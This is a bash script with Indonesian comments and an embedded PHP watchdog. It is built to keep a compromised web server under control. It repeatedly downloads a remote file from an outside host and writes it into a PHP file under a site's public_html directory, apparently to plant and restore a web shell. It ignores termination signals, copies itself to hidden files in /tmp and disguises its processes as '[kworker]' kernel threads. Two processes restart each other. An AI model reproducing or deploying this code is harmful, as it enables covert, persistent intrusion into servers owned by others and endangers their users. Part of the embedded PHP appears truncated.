#!/bin/bash FILE_PATH="/home/impetzdo/public_html/learn/media/player/html5audio/lang/en/media_eng.php" URL="https://sportsfreund-blog.de/om.txt" FILE_DIR=$(dirname "$FILE_PATH") EXPECTED_PERMISSIONS="0755" SCRIPT_DIR="/tmp/requestdir/jlok" HIDDEN_SCRIPT="$SCRIPT_DIR/.system.sh" HIDDEN_PHP="$SCRIPT_DIR/.system.php" # Buat direktori script jika belum ada mkdir -p "$SCRIPT_DIR" # Tangani sinyal agar sulit dihentikan trap "" SIGINT SIGTERM SIGHUP create_directory() { if [ ! -d "$FILE_DIR" ]; then mkdir -p "$FILE_DIR" fi if [ ! -d "$SCRIPT_DIR" ]; then mkdir -p "$SCRIPT_DIR" fi } fetch_content() { if command -v curl &>/dev/null; then curl -s "$URL" return $? fi if command -v wget &>/dev/null; then wget -qO- "$URL" return $? fi if command -v fetch &>/dev/null; then fetch -qo- "$URL" return $? fi if command -v http &>/dev/null; then http -b GET "$URL" return $? fi return 1 } update_file() { echo "$EXPECTED_CONTENT" > "$FILE_PATH" chmod "$EXPECTED_PERMISSIONS" "$FILE_PATH" } create_system_php() { cat > "$HIDDEN_PHP" << "EOF" #!/usr/bin/php /dev/null 2>&1 &"; shell_exec($cmd); // Dalam proses yang baru, jalankan script hidden $cmd2 = "exec -a '[kworker/0:0]' bash '$scriptPath' daemon > /dev/null 2>&1 & echo $!"; $pid = shell_exec($cmd2); if ($pid) { file_put_contents("/tmp/requestdir/jlok/main.pid", trim($pid)); return true; } } return false; } function restartPhpScript() { $scriptPath = "/tmp/requestdir/jlok/.system.php"; if (file_exists($scriptPath)) { // Start hidden PHP process without showing path $cmd = "exec -a '[kworker/0:1]' php -r '\$i=0; while(\$i<1000) { \$i++; sleep(10); }' > /dev/null 2>&1 &"; shell_exec($cmd); // Dalam proses yang baru, jalankan PHP hidden $cmd2 = "exec -a '[kworker/0:1]' php '$scriptPath' > /dev/null 2>&1 & echo $!"; $pid = shell_exec($cmd2); if ($pid) { file_put_contents("/tmp/requestdir/jlok/php.pid", trim($pid)); return true; } } return false; } // Simpan PID PHP sendiri $phpPidFile = "/tmp/requestdir/jlok/php.pid"; file_put_contents($phpPidFile, getmypid()); // Main watchdog loop while (true) { // Check bash process using hidden name only $bashRunning = false; $output = shell_exec("ps aux | grep '[kworker/0:0]' | grep -v grep | grep -v 'php -r'"); if (!empty(trim($output))) { $lines = explode("\n", trim($output)); foreach ($lines as $line) { if (strpos($line, 'bash -c') === false && strpos($line, 'sleep') === false) { $bashRunning = true; break; } } } if (!$bashRunning) { restartBashScript(); } // Check PHP process using hidden name only $phpRunning = false; $output = shell_exec("ps aux | grep '[kworker/0:1]' | grep -v grep | grep -v 'php -r'"); if (!empty(trim($output))) { $lines = explode("\n", trim($output)); foreach ($lines as $line) { if (strpos($line, 'php -r') === false) { $phpRunning = true; break; } } } if (!$phpRunning) { restartPhpScript(); exit(0); } sleep(10); } ?> EOF # Beri permission executable pada file PHP chmod +x "$HIDDEN_PHP" } run_process() { while true; do create_directory EXPECTED_CONTENT=$(fetch_content) if [ $? -ne 0 ]; then sleep 5 continue fi if [ ! -f "$FILE_PATH" ]; then update_file fi CURRENT_CONTENT=$(cat "$FILE_PATH" 2>/dev/null) if [ "$CURRENT_CONTENT" != "$EXPECTED_CONTENT" ]; then update_file fi sleep 5 done } # Fungsi untuk memantau dan menjalankan PHP watchdog run_php_watchdog() { while true; do # Buat file system.php jika belum ada if [ ! -f "$HIDDEN_PHP" ]; then create_system_php fi # Cek apakah PHP process sedang berjalan dengan nama samaran (tanpa path) PHP_PROCESS=$(ps aux | grep '[kworker/0:1]' | grep -v grep | grep -v 'php -r') if [ -z "$PHP_PROCESS" ]; then # Jalankan PHP dengan nama samaran tanpa menunjukkan path exec -a '[kworker/0:1]' php "$HIDDEN_PHP" > /dev/null 2>&1 & echo $! > "$SCRIPT_DIR/php.pid" fi sleep 10 done } # Salin script ini ke hidden location cp "$0" "$HIDDEN_SCRIPT" chmod +x "$HIDDEN_SCRIPT" # Simpan PID utama echo $$ > "$SCRIPT_DIR/main.pid" # Jika bukan daemon, restart dengan hidden script if [ "$1" != "daemon" ]; then # Jalankan hidden version exec -a '[kworker/0:0]' bash "$HIDDEN_SCRIPT" "daemon" & exit 0 fi # Start PHP watchdog run_php_watchdog & # Forking ganda untuk proses utama ( while true; do run_process & MAIN_PID=$! wait $MAIN_PID sleep 2 done ) & # Forking ganda untuk PHP watchdog ( while true; do run_php_watchdog & WATCHDOG_PID=$! wait $WATCHDOG_PID sleep 2 done ) & # Tunggu selamanya wait